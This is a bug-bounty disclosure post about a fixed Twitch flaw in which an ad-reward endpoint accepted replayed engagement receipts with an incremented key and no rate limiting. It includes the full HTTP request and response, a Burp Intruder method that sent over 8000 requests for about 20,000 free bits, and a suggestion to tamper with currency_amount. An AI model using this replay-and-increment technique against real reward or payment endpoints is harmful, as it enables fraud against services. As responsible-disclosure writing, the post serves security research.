Kevin Roh bio photo

Kevin Roh

Bug Bounty Participant

Email Twitter Github

Just a few months ago Twitch came out with a new way to support streamers by using Bits, a new cheering system. Straight from the Twitch - Guide to Cheering “cheering is a new way to show support for streamers and celebrate the moments you love with the community. A Cheer is a chat message that uses Bits, which are evolving animated Emoticons that you can buy.” These Bits can be purchased through Twitch for real money. Another way to get Bits are watching ads on Twitch.

Depending on the ad you watch you will receive 5 or more bits in return. After monitoring what type of traffic was going through I noticed this one endpoint /bits/ad

Request

POST /bits/ads HTTP/1.1
Host: api.twitch.tv
Connection: close
Content-Length: 732
Origin: https://api.twitch.tv
X-CSRF-Token: XXXX
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: application/vnd.twitchtv.v4+json
Twitch-Api-Token: 916defb6a8d7318c06fc4d4b19bcf3a3
X-Requested-With: XMLHttpRequest
Client-ID: jzkbprff40iqj646a697cyrvl0zt2m6
Referer: https://api.twitch.tv/crossdomain/receiver.html?v=2
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: XXXX

{"user_id":"143375711","engagement_receipt":{"ad":{"creative_id":"10535","campaign_id":"8410","name":"Warner Bros. Upfront - Live By Night MAKEGOOD (IAS) (TA D) - Q4 2016","currency_amount":"1"},"signature":"a7e5288f933af3a10f5ac1f4b148fbf87932b1ad9a268aaa9e91e2372257f840","signature_argument_string":"activity_id=10531&completed_at=2017-01-03T10:16:03-08:00&currency_amount=1&engagement_key=10531-4516e7124b89d9dbba3182bfde5491c2093676df-1483467363&network_user_id=4516e7124b89d9dbba3182bfde5491c2093676df&partner_config_hash=af4f4f3a5b1e302e3e17383b8dd300cb6867ec84","key":"10531-4516e7124b89d9dbba3182bfde5491c2093676df-1483467363","message_id":"04e803e7-1f55-4794-b9ef-d81e3ce400e3","completed_at":"2017-01-03T10:16:07-08:00"}}

Response

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2017 18:19:03 GMT
Content-Type: application/json
Content-Length: 18
Connection: close
Server: nginx
Front-End-Https: on

{"bits_granted":5}

I’ve noticed after you change the key value (changing the value after the 2nd ‘-‘) from 10531-4516e7124b89d9dbba3182bfde5491c2093676df-1483467363 to 10531-4516e7124b89d9dbba3182bfde5491c2093676df-1483467364 you will be given another 5 or more bits for ‘watching an ad’ even though you didn’t watch an ad. At this point I wanted to check if there was any rate limiting implemented. There wasn’t. Once I figured there was no rate limiting in place I setup Intruder on Burp Suite and incremented from 1483467363 to 1883467363. A little bit of an overkill but I did 8000+ requests and got a little over 20,000 bits in a few minutes (valued at around $300). Just a note, some of the requests gave a 500 error resulting in no bits. And yes these bits did indeed work, I sent 200 bits over to a streamer that I watch regularly.

Eventually, after 30 minutes later it seems like an automated system detected some anomaly and restricted access to my Bits. Then, shortly after my account got suspended.

Another issue that I noticed but can’t really confirm is what is contained inside of the HTTP request. "currency_amount":"1" seems to show the cost per view. Therefore, every single time this request is made the company is out of a dollar and that can add up very quickly. Especially if 8000+ requests were made through my testing. I noticed this after the vulnerability was resolved and didn’t get to test whether or not changing the "currency_amount":"1" made any difference. If maybe the value was changed from 1 to 10. Guess we’ll never know.

When you change the key value now you will receive this HTTP response

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2017 18:16:25 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 49
Connection: close
Server: nginx

{"message":"Unable to verify engagement reciept"}

Summary

After reporting the vulnerability to Twitch security about 30 minutes later it seemed like an automated system restricted my access to the bits on my account and shortly after that, my account was suspended.. I contacted customer support to see why my account was suspended and at the end everything was resolved. It seems like due to the amount of requests and amount of bits suddenly appearing, it alerted Fraud and an automated system suspended my account. While I was in San Francisco in the beginning of January, I was contacted by Twitch security and they apologized for the delays. Twitch security clearly explained the situation and invited me to visit the Twitch office for a tour. The delay in response time was due to the holidays and I should have expected that but as some of you know, my patience is very thin :).

Timeline

  • December 29th - Reported
  • December 30th - Contacted security@twitch.tv regarding status
  • December 30th - Vulnerability resolved.
  • January 3rd - Contacted Twitch security regarding status
  • January 5th - Twitch responded with explanation

If you find any vulnerabilities on Twitch and would like to responsibly disclose it to them go to https://www.twitch.tv/p/security